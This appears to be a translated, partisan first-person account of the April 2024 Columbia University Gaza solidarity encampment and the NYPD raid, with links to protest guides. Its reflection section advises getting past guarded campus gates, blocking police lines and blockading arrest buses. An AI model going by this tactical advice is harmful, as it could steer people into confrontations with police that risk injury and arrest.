下，两名犹太复国主义者在一次校园活动中向数十名支持巴勒斯坦的示威者喷洒了以色列研制的恶臭化学品，尽管袭击导致一人被送医，但袭击者也只是被停职而已。11月，在一场吸引了数百人参加的游行、艺术装置和集体躺倒抗议活动后，哥伦比亚大学的一名管理人员暂停了“巴勒斯坦正义学生”（SJP）和“犹太人和平之声”（JVP）的活动，声称这两个组织“违反校园活动政策”。愤怒的教师们举行了游行示威以示支持，而重振旗鼓的哥大种族隔离撤资联盟（**CUAD**）很快吸纳了**100**多个不同的校园组织，其中包括**3000**人的学生工会。

加入联盟的团体反映了广泛的政治观点、种族和宗教背景，并利用了校园的各种社会网络。这些网络将在未来的斗争中发挥重要作用。

- 提示《如何建立更广泛的团结》
- 案例《团结，直接行动和自决：KasaInvisível运动》

哥伦比亚大学研究生工会的参与者在哥伦比亚大学上一轮抗议活动中示威。

暴风雨前的平静

「图」

直到周二下午，校园仍被封锁，到处都看不到支持巴勒斯坦的人，一个犹太复国主义学生团体在校园中心摆了一张桌子，也没有人反对。这令人沮丧。但是，在幕后，正在进行着紧张的准备工作。

我们听说，起初，组织者设定的目标是，当他们得到200多名参与者的承诺时，就开始扎营，但他们只能确认100多人。占领当天上午，到了搭建帐篷的时候，人数已经下降到了六十人左右。直到最后一刻，内部还在为是否继续执行该计划而争论不休。

但幸运之神眷顾勇者。

4月17日，星期三

「图」

周三凌晨 4:30 左右，学生们带着露营用品和决心涌向东草坪。黎明时分，数十顶帐篷铺满了草地。一条 横幅向前往图书馆的学生们发出号召：“当你读到这行字时，加沙正在流血”。穆斯林参与者在 5:45 举行了第一次晨祷。4月17日星期三，哥伦比亚大学校园东草坪

当哥伦比亚大学校长米努什·沙菲克坐在华盛顿特区的右翼政客面前，试图证明她有足够的决心镇压任何支持巴勒斯坦解放的迹象时，数百名学生占据了这一空间，并在围栏围起的草坪周围进行游行。

周三下午，营地周围成了争论场，营地成员和纠察队成员与一小撮犹太复国主义反抗议者交锋。

“恐怖分子滚回家去！强奸不是进步！”—— “你们无耻！你们无耻！

“以色列是恐怖主义国家！”—— “知道哈马斯杀害巴勒斯坦人的请举手！”

“这是我们永远不会忘记的可耻的历史时刻！”—— “释放人质！”

“抵抗是正当的！”—— “这不是抵抗！”

每当纠察线和呼喊声松懈下来，恶搞就会加剧。当游行者稍作停顿去吃午饭时，反抗议者就会痛苦地用走调的方式演奏“星条旗”。营地成员们通过小型音响系统播放穆罕默德·阿萨夫（Mohammed Assaf）的歌《我流淌着巴勒斯坦的血液》（“Ana Dammi Falastini”）。坚守营地的斗争既是声量上的，也是空间上的。

下午3点半左右，天空下起了小雨，组织者拉上了中央白顶帐篷墙壁的拉链。有报告称，从116街的大门进入校园的通道已被完全关闭。大学评议会的学生成员带来了最新消息，说行政部门已经同意，为了给谈判留出时间，在第二天之前不会试图驱逐营地。

组织者没有理由相信行政部门的话，他们担心这一承诺只是一个借口，目的是诱使营地放松警惕，松懈纠察和占领行动，为更轻松地扫荡铺平道路。在他们看来，关闭大学校门和不突袭的可疑承诺是缓慢围困营地的因素。作为回应，他们鼓励支持者在附近的宿舍和图书馆张贴公告，并随时待命。正如一位本科生组织者所说：“熬过夜晚需要一定的策略。我们需要更多学生环绕在我们身边”。

行政部门派出代表进行谈判。在第一轮谈判中，他们提出了一个“不具约束力的全校范围的撤资公投”—— 这个提议并不令人印象深刻，因为在2020年哥伦比亚大学以61%的选票通过类似公投后，校方一直拒绝采取任何行动。哥伦比亚大学和巴纳德学院的员工散发传单，敦促抗议者散去，并威胁“停学”，这显然是一种新的纪律形式。也许是为了应对由多种族和黑人、印地安人和其他有色人种领导的抗议活动，与哥大校园内白人主导的、社会隔离的常态形成鲜明对比，管理

部门派出了“身着铅笔裙的女性（大多为黑人）和身着两件套西装的有色人种男性——“公共安全多元化小册子的翻版”，一位组织者对此讽刺道。

- 相关原理《不是肤色，而是种性；奴隶制并非基于种族或文化》

晚上7点左右，管理部门发出最后通牒，要求在9点之前清场，并威胁要逮捕示威者。紧张的谈判仍在继续。根据1968年抗议活动后制定的正式程序，大学评议会拒绝批准纽约市警察局进入校园，尽管组织者怀疑校方是否会遵守这些程序。

校方做出了一些让步。他们承诺公开哥伦比亚大学与以色列之间的财务关系，并特赦在 9 点之前离开的露营者。据推测，这样做的目的是为了更容易对留下的人进行突袭。一位组织者事后咆哮道：“他们想让我们的人数减少，这样他们就可以干我们了”。

- 相关原理《如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段》

管理人员试图采取强硬手段，坚称他们不会进一步谈判。占领者立场坚定。来自不同宗教和政治背景的学生坚持他们对这场运动的承诺。一些人与第二天早上在集会上发言的一名“犹太人和平之声”（JVP）成员的观点不谋而合：“我的犹太价值观要求我站出来反对不公正”。另一位学生组织者解释说：“我们不惧怕纽约警察局或哥伦比亚大学。我们唯一惧怕的是真主。”

- 更多内容《“你们站在正义的一边”：在世界上最大的开放式监狱加入起义》

随着清场时间的临近，组织者们纷纷联系各自的关系网络，大量信息在校园里流传。来自附近宿舍和图书馆的支持者如涓涓细流汇成洪流。到了晚上9点，一个巨大的纠察队包围了整个营地，支持者们手拉手，臂挽臂，高喊着三种不同的口号。清场的最后期限已过，但人数不减反增。学生们跪地祈祷，歌声响彻草坪，人们自发地跳起舞来。新帐篷的到来补充了已经搭建好的几十个帐篷。一位露营者问道：“他们说会在 9 点进行清场—— 他们现在在哪？” 晚上10点，有传言称纽约警方已在大门外动员了防暴装备，但人群依然坚守阵地。

最后，事实证明，营地的规模和精神都超出了当晚可能的驱逐范围。

晚上10点44分，组织者得到消息，行政部门被迫放弃了清场计划。营地度过了这个夜晚。4 月 17 日星期三，哥伦比亚大学校园东草坪。

4月18日，星期四

「图」

周四早晨，天气灰蒙蒙的，寒风凛冽，间或有雨。曼哈顿上西区一片喧闹。纽约市警察局的车辆在营地周围的街道上来回穿梭。在营地内，组织者忙于后勤工作、管理食物捐赠和保持营地清洁；“这不是我们的土地，这是莱纳佩霍金”，一位反殖民主义参与者强调说。

他们为当天的活动制定了计划：中午举行集会和游行，下午 2 点举行午餐和艺术创作活动，3 点举行关于劳工和巴勒斯坦问题的讲座，稍后举行守夜活动。但在上午 10 点左右，当大批警察在附近集结的消息传来时，三位巴纳德组织者收到了立即停学并被赶出宿舍的通知。

一场火热的集会开始了。其中一名被停学的组织者拿起麦克风：“为巴勒斯坦而被停学是一种荣誉。为巴勒斯坦而被驱逐是一种荣誉。如果真的到了那一步，为巴勒斯坦而被捕也是一种荣耀。”

纽约警方出动的四辆改装校车抵达阿姆斯特丹大道。警察封锁了离校园最近的地铁出口。三架无人侦察机在上空嗡嗡作响。虽然有些人仍不相信政府会违反自1968年以来一直坚持的禁止纽约警方入侵的政策，但突袭行动显然已经迫在眉睫。

随着下午的到来，同意面对 “红色”级别风险的参与者挤在东草坪中心的帐篷区中央，其他人则加入了包围营地的游行队伍。下午1点左右，一队纽约警察手持警棍和束线带，从巴特勒图书馆旁的 114街大门进入校园。一些人手拉手，试图阻挡警察到达草坪；但这样做的人太少了，警察很容易地推开了那些阻拦者。在数百人愤怒的尖叫声中，警察冷静地在草坪周围摆开阵势，封锁了所有出口，并开始以非法入侵为由威胁进行逮捕。

- 相关知识《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》

4 月 18 日星期四，警察进入哥伦比亚大学校园。

一名警官大声喝令要求站在露营者坐圈附近的两名戴着绿色帽子的观察员退后。当他们回答说他们有观察的合法权利时，警官逮捕了他们。

下午1 时28分，警官开始用束线带捆绑学生，将他们拖走。一堵愤怒的抗议者人墙围在草坪外，他们尖叫、哭泣、拍摄，并高呼“可耻！”一轮又一轮的占领者被带出警察通道，前往第 114 街，他们向徘徊在边缘的拿着记事本的法律支持者大声喊出自己的名字和身份信息，人群向警察怒吼，并为被捕者唱赞美诗。到下午两点左右，有一百多人被拖走；东草坪上到处是被遗弃的帐篷，但没有露营者了。

- 相关技巧《充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7）》

警察和大学设施工作人员走过草坪，将帐篷拆卸并装袋。数百名群众留在草坪周围围栏的另一侧，他们怒气冲冲，但又不知该如何发泄。一些人涌出校园，在第 114 街和阿姆斯特丹路口重新集结，试图阻挡四辆载有被捕者的纽约警察局巴士。最终，巴士沿着第114街单向街错道驶至百老汇并驶向市中心，从而逃脱。数十人聚集在第 116 街两侧进行喧闹的声援示威。随着突袭事件的消息传遍校园，越来越多的学生、教师和其他人挤到了校园中心。

此时，大约下午2:30左右，一些学生自发地迈出了决定性的一步。几个人翻越了西草坪四周低矮的围栏，西草坪完全空无一人，距离被驱逐的东草坪仅几码之遥。“来吧！”几个人大喊，然后是齐声高呼。”跳过围栏！所有人都到西草坪上去！”几分钟内，数十名学生排成一排，坐在草坪中央，面向被驱逐的地方，手挽着手，高声歌唱。组织者迅速号召无定形的人群重组成环绕新草坪的游行队伍。有人把一块防水布拖到了草坪上。没过多久，新草坪上就插上了旗帜，拉起了横幅。

一些新的、不可预知的东西正在酝酿之中。它会持续下去吗？

当帐篷和毯子被从东草坪的前宿营地拖走后，大部分纽约警察局的警察就已经离开了。一名设施员工开着一辆叉车，很快就在草地上铺上了大托盘的物资，这些东西是用来搭建临时地板的，将用于五月初的毕业典礼。校园公共安全处的工作人员仍与纽约警察局的一些人一起在草坪上忙碌着，无人机仍在头顶上嗡嗡作响，但警察们不再紧张地站在那里准备维持秩序。他们远离了西草坪，而胆大的学生们则蜂拥而至。几个小时内，一个全新的营地就扎根好了。

在整个城市，一大批人聚集在一起，为被捕者提供监狱支持。午夜之前，所有人都被释放了；他们没有受到刑事指控，只是收到了250美元的罚单，无需保释。夜幕降临时，他们走出监狱，欢呼的人群向他们提供零食、饮料、拥抱和最新消息。

这次大规模逮捕吓坏了许多人，但也激怒了其他人，使人们更加大胆。抗议者持续高呼了几个小时，而手拉手的学生环绕着西草坪上越来越多的示威者继续游行。

夜幕降临，许多人拖来了睡袋、毯子和更多的防水布。之前曾有过一些关于驱逐原始营地后的应急计划的讨论；但在混乱中，组织者们争先恐后地决定如何应对这一有机出现的续集。

大家都下定决心要守住空间。有迹象表明，只要学生不再搭建帐篷，纽约警方就不会再次出动清扫西草坪，因此数十名学生决定蜷缩起来露宿户外。尽管遭到驱逐和逮捕，一个巴勒斯坦声援营地还是在距离原营地仅几码远的地方坚守了第二晚。

- 📌 更多原理《镇压可以激发更多的反抗，但有时却相反，为什么？》

4月18日星期四，警方占领了东草坪。

对周四活动的思考

「图」

这次扎营对一些参与者来说是平生第一次经历抗议活动，也是更多人第一次经历被警察镇压。在此，一位经验丰富的参与者与大家分享了当天的反思。

- 跑个题，关于安全《对于首次参与抗议活动的人来说，有必要了解的基本安全措施》

自周三营地活动开始以来，影响哥伦比亚大学抗争活动发展的最重要因素之一是对进入校园的实际限制。哥伦比亚大学晨边校区本身相对较小，只有四个短街区和一个长街区；周边由围墙和铁门组成。阿姆斯特丹大道上的一座拱门连接着另外两个街区的校园建筑和法学院。巴纳德学院是哥伦比亚大学的兄弟院校，位于百老汇的另一侧，其校区同样紧凑，形成一个四街区宽的长方形，围墙内的出入口更少，但持有哥伦比亚大学和巴纳德学院证件的人可以自由进入其中任何一个

校区。

- 技巧，关于准备工作，上述涉及到的是地形考察。更多准备工作和完整流程，见《分步指南》
- 技巧《了解你的地形是策划行动的第一步》 ~ 不只有物理地形！

从去年秋天开始，在校园内发生了大规模的支持巴勒斯坦的示威游行和犹太复国主义的反示威游行之后，校方开始有选择性地限制学生进入校园，几乎锁上了所有的校门，并要求进出的学生在保安人员的读卡器上刷身份证件。这是一个非常不受欢迎的举动，它不仅造成了不便，而且带来了奥威尔式的警察国家氛围。

- 还是安全问题《如何在监视时代参加抗议活动》

从去年10月校方开始实施这项政策开始一直到本周，出入限制每次只持续几个小时，或者最多一天，时间安排与校园内的示威活动计划相吻合—— 根据管理部门的电子邮件，基于纽约警察局的情报。

然而，在营地行动开始前的周一，管理部门忽然宣布将在整个星期内实施限制出入政策，这激化了整个校园的不满情绪。这些政策在整个一周内都得到了严格执行。

周五，一些入口处的警卫一度开始将持卡人与他们出示的证件上的照片进行视觉对比，希望以此防止人们共用证件。虽然这一策略未能完全排除未经授权的反叛者，但却极大地重塑了学生斗争的地形及其与整个城市更广泛的巴勒斯坦解放运动之间的关系。

我们可以想象，在未来，越来越多的校园将与今天的哥伦比亚大学这般：大门紧闭，几乎完全仅限持卡人进入（或通过更先进的生物识别技术进行控制），大门内受到高度监视。虽然像纽约大学这样与城市中心融为一体的校园仍不可能做到这一点，但可以预见，地理位置集中的校园将越来越多地采用这种监管模式，尤其是为了应对学生起义。

在这种情况下，如何战略性地处理被授权反叛者与未被授权反叛者之间的关系，值得深思。

- 更多相关技巧《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》

在整个冲突期间，警察和保安的注意力都集中在第116街和百老汇的

入口处，对入口的限制也最为严格。使用率较低的入口虽然仍有读卡器和警卫站岗，但往往人流稀少，只有一两个手无寸铁的受雇警卫把守。一群意志坚定、行动迅速的人们就可以轻而易举地集体进入。当然他们一旦进入，就很容易受到监视，但只要能进入，就很可能混入人群中。

📌 尽管如此，由于密闭和监视的空间限制了战术的可能性，因此只有在关键时刻，由经验丰富的行动者打破平衡以开辟出更广泛的可能性空间，届时集结未经许可的反叛者群体，可能才有意义。

在周四的突袭中，如果能有十几名具备战术技能和合作经验的反叛行动者在场，事情的发展可能会截然不同。然而，除这种时刻外，也没有必要将业余运动局限于某个特定领域。📌 无论是学生还是非学生，在校外都有更多的流动性和灵活性，更不用说采取行动和与他人建立联系的更广泛选择了。哥伦比亚大学校园外的游行。

营地的参与者几乎完全限于哥伦比亚大学和巴纳德学院的学生，这有助于解释被捕者在纽约警察局受到的独特待遇。尽管突袭行动令人毛骨悚然，但很明显，警方接到了严格的命令，要小心谨慎地对待学生。除了一些短暂的推搡和混战之外，他们没有打任何人，也没有人员受伤的报道，不过显然有一名晕倒的被捕者没有得到及时救治。

尽管学生组织者在事后对“暴力”逮捕愤愤不平，但从我多年来与警察在示威活动中的互动经验来看，我从未见过警方在实施逮捕时表现得如此胆怯。在突袭过程中，还有一个特别温情的时刻，一个瘦弱的年轻人双手被束线带捆绑，被带离草坪，他对带路的警官说了句话，警官伸手轻轻地把他的眼镜推回鼻梁上。

同样，在逮捕参与者后，警察和大学工作人员小心翼翼地逐一检查了所有帐篷，将它们拆卸下来，把帐篷和散落的物品装进塑料袋，然后装上卡车。与此相比，纽约市警察在清查市区无家可归者营地后，对待无家可归者的帐篷和财物的态度就截然不同了。

- 您值得了解的《镇压部队最常用哪些武器对付抗议者？- 概览》
- 一个实例分析《现代维稳战术一瞥》
- 更多维稳战术解析见列表-5，板块“维稳面面观”：https://start.me/p/1kod2L/iyp-direct-action5

许多目击者和一些媒体报道称，入侵的警察身着“防暴装备”。这只能说明这些观察者从未见过真正军事化的警察部队的反应。实施逮捕的警察并没有持盾牌，几乎没有穿防弹衣。他们都没有能力发射催泪

弹、橡皮子弹或闪光弹。有些警察戴着面罩和头盔，但其他更多人只是穿着标准制服。相比之下，一些身着更威武的防暴装备的警察则出现在校园外；他们曾出现在围墙外的很多示威活动中。

- 相关知识《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》

所有媒体报道和警方向新闻界发表的声明均称“没有人拒捕”。事实上，一些人瘫软在地，拒绝合作；与通常对待被捕者的方式相比，在这里警察是轻手轻脚地将他们拖走的。不将此定义为拒捕似乎符合所有人的说法。铁事证据表明，许多纽约警察对不得不“照顾”反叛的学生感到恼火。警方自己的媒体报道强调，营地及其参与者没有构成任何危险，也没有进行任何抵抗。就连纽约警方也试图撇清自己与突袭决定之间的关系，这表明学生们被认为拥有多么强大的社会力量、媒体关注和公众同情。

- 相关技巧 《和媒体说话时如何避免陷阱：示威参与者指南（13）》

在此背景下，我们可以反思一下当天下午可能出现的其他可能性。突袭所激起的普遍愤怒以及随后对校园空间的重新占领。已将优势转回到运动上，因此，从更广泛的意义上讲，大规模逮捕并不是一次失败。但是，警方战术的强大局限性所提供的独特局面本可以促成更激烈的抵抗。

- 📌 相关技巧《充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7）》

有几次，在草坪上等待逮捕的“红队”之外的一些参与者有机会与警察进行更直接的接触。例如，当逮捕警察的小队从114街进入草坪时，一些人挽起手臂，邀请人群中的其他人也这样做，以便在警察控制草坪之前阻止他们。📌 如果有十个到十五个人随时准备封锁大门或排成一条坚固的队伍以阻挡警察，就能为更多的参与者加入营地赢得时间，从而迫使警方和行政部门重新考虑其简单扫除被动占领者的计划。

同样，虽然警方已经做好了大规模逮捕的准备，但警方的人数仍然远远超过了参与者。如果人群不是将草坪让给那些预计会被逮捕的人，而是以阻止任何逮捕发生为目标，那么他们可能会大规模涌向东草坪，其人数很可能会超过纽约警察局的大规模逮捕能力，至少在一段时间内是这样。

当然，我们承认并尊重不同的人承担不同程度风险的意愿和能力。但是，📌 考虑到一大群人已经决定做好了被逮捕的准备，如何利用这种风险承受能力来达到最大的效果，是值得考虑的。被捕者围坐一圈，等待被拖走，创造了一个上镜的奇观，讲述了和平的露营者在暴虐的大学校长的指挥下被法西斯警察拖走的故事。但是，如果那些无惧逮捕的露营者能够利用自己的风险水平，试图阻止或至少阻挠驱逐行动，而不是认为驱逐是不可避免的，那么他们就能创造出一种不那么容易预测的局面，让在场的数百名其他露营者能够发挥自己的积极作用，而不是沦为旁观者。

- 需要了解《在抗议活动中，媒体作为叙事矩阵的操纵者》
- 相关技巧《如何释放隐藏的创造力》
- 相关原理《真正的行动取决于你的目标的反应：战略柔术》
- 相关原理《唯一不变的就是变化：更新无止境》

一旦逮捕行动开始，那些旁观的人本可以在114街的两端重新聚集，以阻止警方的巴士离开。📌 由于这一策略是在大门外进行的，因此有机会从全市范围内吸引更多更有经验的人员参与进来，这样也许就能让警察陷入困境，并将冲突扩大到更广阔的范围。

- 原理：尽可能大地集结，而不是将自己的队伍“独立”出去。后者意味着隔离；而隔离只有镇压者受益。

当然，现在回想起来，这样的推测是很容易的。我们无意批评组织者、群众或勇敢的被捕者。但是，随着声援巴勒斯坦人的营地和占领活动遍布全国各地，我们预计，在未来几天和几周内，还会有更多人面临类似的情况。现在我们在这里提出这些思考，希望其他人能够提前考虑在类似情况下如何能更有效地行动。

需要强调的一点是，当机会出现时，必须迅速采取行动。不管是只有一名警察把守的通道，还是伸手可及的帐篷，都有可能在大批警察赶来占据它之前将其抢回栅栏，或者是一片新的未设防的领土，必需手急眼快，这类机会窗口通常只有几秒钟的时间。

📌 警察和其他雇佣兵在这种情况下都是奉上级命令行事的，听命之

人只能应付那些可预见的情况；因此给他们带来任何意外都会彻底改变他们的盘算，改变整体力量平衡。

- 相关经验《武装暴徒受到警察的鼓励以镇压反抗者，这甚至不是新鲜事：通过BLM（8）》

占领西草坪的大胆决定就是例证。首先，它意义重大，因为事实证明，占据物理空间是集中校园运动能量和注意力的关键因素。自十月份以来，哥伦比亚大学发生了无数次示威活动，但无论这些示威活动多么充满活力，参与人数有多少，最终都在几小时内就散去了，将实际空间和主动权拱手让给了政府，而政府则在事后针对参与者加紧镇压。📌 相比之下，坚守阵地迫使各方正视种族灭绝的事实，吸引了更多人参与到运动中来，在校园生活和抗议活动之间形成了新的交叉渗透。只要行政部门无法区分/隔离全体学生和抗议者，参与其中的每个人就都会更加安全。2022年11月：https://t.me/iyouport/12093

西草坪的占领展开。

📌 在决定占领西草坪时，在风险和逮捕之间开辟一个灰色地带具有战略意义。当营地的参与者受到逮捕威胁时，他们将自己分为不同的角色—— 有些人是“可被逮捕” 的，另些人是 “不可” 的。这就给警方提供了一个可辨认的局面。另方面，一旦人们跳过围栏，他们就进入了一个不确定的区域，在这个区域里，他们的勇气和创造力可以迅速改变当局面临的决策。一开始，当人们第一次冲向西草坪时，他们立即坐下—— 似乎表示愿意被逮捕。但是，一旦有足够多的人开始将这块地方用于其他目的，造成一种模糊的局面，新的视野就打开了。

📌 向西草坪的搬迁之所以成功，是因为它是计划外的、草率的、充满激情的。它脱离了行政部门、警方以及许多组织者和抗议者的预期。参与各方都不知道会发生什么，因此都无法控制各种可能性。

- 相关原理（以香港为例）

📌 最后，立即重建占领区成功地利用了抗议者与政府之间在面对负面宣传时的不对称性。行政部门决定逮捕拒绝离开营地的参与者，警方也做好了逮捕准备。但是，尽管警方有足够的物质能力可以采取更严厉的行动，但无论是行政部门还是警方都不准备承担进一步行动的负面后果。学生们重新掌握了主动权，他们利用了当局已经面临负面新闻的风险这一事实，如果当局在不可预知的情况下反应过度，负面新闻就可能会成倍放大。这使得本可能是一场毁灭性的失败变成了为

运动造势的支点。

- 相关技巧，以八九学运为例《“战略网”：鲜为人知的工具—可视化抗议运动能否成功以及为什么失败，包括六四》
- 更多技巧《威胁感可能比事物本身更有效：战略性直接行动》

4 月 18 日星期四上午，哥伦比亚大学校园。

4月19日，星期五

「图」

今天是星期五下午，我们正坐在被占领的西草坪上的一块绿色油布上，周围是一片欢庆的抵抗运动漩涡。

哥伦比亚大学校园的西草坪上至少聚集了三四百人。人群中大部分是本科生，还有越来越多的研究生、教师、校友和其他人。大多数人是坐着的，但也有几十人在四处走动或三五成群。

大概有一半的人戴着口罩，许多人戴着卡菲耶头巾，几乎同样多的人穿着连帽衫、运动衫或戴着印有哥伦比亚大学或巴纳德学院标志的帽子。十几面大的巴勒斯坦国旗和更多的小国旗点缀其间；写有“加沙团结营”的旗帜是从邻近草坪上最初的占领区残骸中抢救出来的，现在骄傲地矗立在用胶带固定的塑料杆上，只是被雨水弄脏了一些。如果哥伦比亚大学管理部门指望纽约警察局的全面突袭能镇压或削弱抵抗运动，那他们就大错特错了。

我们几个小时前就到了，满载着几袋百吉饼和外卖盒装的米饭还有咖喱。当我们走到通往西草坪的大门口时，一位戴着卡菲耶头巾的学生微笑着走到我们面前。

我们解释说：“嘿，我们是来送食物的。”

“好的，没问题”，他们回应道。“你们是哥大学生还是校友？”

“是的，我们是学生”

“你们是哪个系的？”

我们每个人都提到了学校或院系。

“好的，很好。你们通过检查了。进来吧！”

穿过大门口怪诞的“安检”，我们来到草坪上。

在北端的一个角落里，几十名学生组织者正坐在那里召开一个封闭的计划会议。外围站着一圈人，手里拿着床单、毛巾和横幅，遮住了外面的视线。路人络绎不绝地靠近围栏拍照或摄像，有些人明显带有敌意，另些人则目的不明。一架无人侦察机在头顶不停地嗡嗡作响；有直升机不时地呼啸而过。虽然通往草坪的一扇门已经打开（如果你愿意冒着被安检的风险的话），但仍有许多人跳过草坪对面角落的一段封闭的围栏，一名志愿者拿着一把折叠椅在那里提供帮助。

鉴于前一天发生的事件，这会人们看起来出奇地放松。他们中的大多数人都面带微笑；也有少数人露出狂躁、激动、略带茫然的神情，这让我联想到第一次参加起义时的情景。我还记得我们在第一次抗议和占领活动——“自由贸易区”、”占领华尔街”、“乔治-弗洛伊德反叛”——中所经历的对新世界的最初一瞥，不知道现在这些学生在未来的岁月里会如何回忆这些日子。

- 更多技巧和反思《我们这些99%：在占领华尔街十周年的日子里思考新的政治身份》
- 《是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器》
- 《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》

有些人在睡觉或看书，还有很多人在看手机，但大多数人实际上是在相互交谈。我听到的每一次谈话都与行动有关。一群群一年级的本科生在讨论策略，并试图预测学校将如何应对；兼职教师与研究生助教分享关于被捕者的报告；朋友们提供关于被停学者的最新消息；多种族的大二学生在讨论反犹主义和黑人歧视之间的相似之处和不同之处。根据视觉线索，我们可以大胆猜测，性别平衡似乎严重偏向于女性和非二元人群。手绘的纸板标语牌上写着“Dykes For Divestment“和“Bottoms For Boycott”，展示着情色文化，但这种氛围并没有让人感觉到性冲动。虽然气氛冷淡友好，但暗流涌动，充满愤怒和决心。

一些佩戴媒体证件的人四处走动，拍照或上前采访，但没有主流媒体记者常见的那种咄咄逼人。📌 一些人分发传单、书籍和小册子，但这并没有给人造成一种宗派聚会那般的蜂拥而至、充斥着邪教文献的印象，而我在其他许多声援巴勒斯坦的示威活动中都曾经历过这种情况。大学当局把校园变成了一个堡垒，把所有外来者拒之门外，这带来了一个有趣的后果，那就是营地文化是校园文化的延伸。

无意中听到：“解放区没有泰勒·斯威夫特！”

在草坪南端的麦克风上，一连串的扬声器让气氛持续高涨。一位身着绿色连衣裙的火辣女子带领大家慷慨激昂地吟唱，阿拉伯语和英语交替使用。来自附近大学的代表们呼吁各校园团结一致。亚马逊工会的一名组织者发表了振奋人心的演讲，并高呼“终止它(杀戮)！”一名头戴黑色头巾的年轻女子在防水布间徘徊，询问是否有人需要止咳药水或安乃近。穿着工装裤的巴纳德学生用大号尖头笔认真地涂写标语。有人一边傻笑，一边模仿朋友出狱后大步流星的样子。

我身边的毯子上坐着一位友好的研究生，他和我攀谈起来：

“怎么样，哥们儿？”

“挺好的，你呢？”

“棒极了，虽然很累”

“你整晚都在这儿吗？”

“是啊，你们刚到吗？”

“我们昨天也来了”

“我从周二晚上就来了。昨天真的很特别，是吧？”

“是的，看到所有的逮捕让人心碎。但看到大家之后都再一次涌向草坪又让人振奋”

“是啊，我知道！昨天我们在监狱里的时候，根本不知道大家会这么做。甚至都没计划好。当我们出狱后听说人们重新占据了这块地方，我们欣喜若狂。”

“你觉得人们会留下来吗？”

“当然。如果开始下雨，我想人们会再次支起帐篷，不管管理部门怎么说—— 去他们的！我哪儿都不去！”他偎依在睡袋里。在斗争过程中开辟的每一个自由空间，无论多么短暂，最重要的步骤之一就是建立一个革命公地，通过这个公地，资源可以抵达居于资本主义、利润和私有财产逻辑之外的人们的手中。

坊间流传的消息称，只要学生们不搭建帐篷，管理部门承诺不会再召

集纽约警察。许多参与者都表达了在被驱逐之前坚守住阵地的决心。与此同时，校方还在继续组装他们计划用于毕业典礼的看台—— 还有几周就要举行毕业典礼了。在他们试图授予学位的同时，他们不可能允许这个集会留在这里。另一场冲突即将来临，但是否会涉及另一次大规模的逮捕，还有待观察。

除了被占领的草坪周围，校园大部分地方都已荒废。当我们漫步穿过一个空旷的庭院前往卫生间时，两名年轻的纽约警察从我们身边走过。在他们故作镇定的神情下透露出出奇地胆怯。“去你妈的！” 我的朋友在警察经过时对他们嘶吼道。之后很快其中一人讽刺地轻声回答：“祝你们今天过得愉快”。昨天的突袭之后，纽约警局和校园警察都低调了许多。

社会名流也对此事产生了兴趣。康奈尔·韦斯特（Cornell West）在逮捕行动刚结束后就来到了新占领的西草坪，并向人群发表了讲话。苏珊·萨兰登（Susan Sarandon）也来到校门外表示支持。我抱怨道，这些觊觎相机的秃鹰们，但这些景象似乎真的能激发人们的热情，鼓舞士气。

- 跑个题：📌 专业的反叛者社区应当拥有自己的媒体和信息系统，以便在行动发生后掌控叙事主导权，提前在信息战中抢位。《让它民主：替代媒体作为抗争之源（下）》

康奈尔·韦斯特在西草坪上发表讲话。

我们与认识的教授聊天。当天早些时候，一群来自不同院系的教师在草坪上举行了开放办公时间，与学生们会面。从学术部门到 UAW 附属学生工会，再到专业学院的学生，每个人都在召开紧急会议。几十份声明正在流传，社论正在撰写，来电和群发邮件活动正在进行：一派热火朝天的景象。

不知不觉中，Z世代已经从 “占领” 时代学会了 “人肉麦克风”。在发言人发言的间隙，我们都会跟着一名组织者重复 “社区协议”：禁止毒品或酒精、不与反抗议者交火、“我们不互相维持秩序，但也要保证彼此的安全”、自己的东西自己收拾、饿了就吃东西。草坪中央的篷布上摆放着各种三明治、面包圈、印度食品、燕麦棒、水和苏打水，以及不断补充的其他零食和用品，井然有序，令人惊讶。

- 关于安全，尤其需要提早形成共识，只有这样大家才能保护彼此。仅仅协议是不够的。技巧：《如果您的团队陷在被监视和被渗透的恐慌中，只是因为您缺少了一件东西—什么是安全文

化》

临近傍晚，工会紧急召开全体大会的消息不胫而走。在几个小时的通知后，近150人参加了会议。大家的谈话慷慨激昂： 我们应该举行游行吗？野猫式罢工的法律地位如何？在营地被捕的学生被停学是否构成了不公平行为，可以作为合法罢课的基础吗？📌还有什么其他形式的升级行动的可能？教师们在哪里？在本学期所剩时间如此短暂的情况下，怎样才能产生足够大的影响？绝大多数人都同意：罢课是可以考虑的。计划于周一举行游行。教师们会加入我们吗？这所大学会就此关闭吗？……

“(信息)公开！撤资！我们不会停止，我们不会放弃！” 戴着头巾的反叛者们热情地跳起舞来，其他人则敲打着盆子。在我旁边厚厚的睡袋里，昨晚刚出狱的学生睡得很香。

- 相关技巧《有策略地升级行动：不要爱上战术》

4月18日晚，营地。

午夜，4月19–20日

「图」

午夜，星期五晚上和星期六早上之间的时间。参与者更多了，有五百多人，活力四射，喜气洋洋。草坪南端的一大群人不断地跳舞、欢呼、击鼓、挥舞旗帜、唱歌。一时间，数十人举起手机，手电筒应用程序像打火机一样闪闪发光，围成一圈。尽管欢呼声和喧闹声不绝于耳，但数十人已经在睡袋和毯子堆里铺好了床铺。其他人则四处游荡，或兴奋地聊天，或捡拾垃圾。

一小时前，一支由五十多人组成的游行队伍在大门外徘徊；我们听说有一人被捕。工会的一名研究生在一块又一块的防水布间徘徊，向人们拉票，以衡量不同院系对行动的支持程度。一群本科生在讨论当天发生的事件；其中一名学生滔滔不绝地列举了其他大学正在兴建的团结营地，语气中充满了敬畏。

